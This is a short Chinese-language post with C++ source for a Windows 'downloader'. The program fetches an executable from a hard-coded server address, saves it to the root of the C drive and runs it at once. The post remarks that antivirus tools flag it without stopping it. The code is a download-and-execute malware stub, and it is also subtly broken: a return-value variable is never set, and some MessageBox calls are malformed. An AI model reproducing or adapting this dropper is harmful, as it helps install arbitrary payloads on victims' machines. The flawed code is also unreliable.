说明:

该代码功能:从服务器下载可执行程序并运行,本程序从服务器下载1.exe,下载到本地C盘根目录并命名为test.exe,接着会直接运行test.exe。有的杀毒软件会报毒,但是并没有阻止程序运行。 

#include "stdafx.h"
#include <UrlMon.h>
#pragma comment(lib,"urlmon.lib")

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.

URLDownloadToFile(NULL,"http://192.168.3.96/1.exe","C:\\test.exe",0,NULL);

if (S_OK ==ret)//下载url函数
MessageBox(_T("Success DownLoad"));
else{
MessageBox(_T(" UnSuccess"));
}

WinExec("C:\\test.exe",SW_SHOW);

MessageBox(NULL,"下载者运行OK","x",NULL);

return 0;
}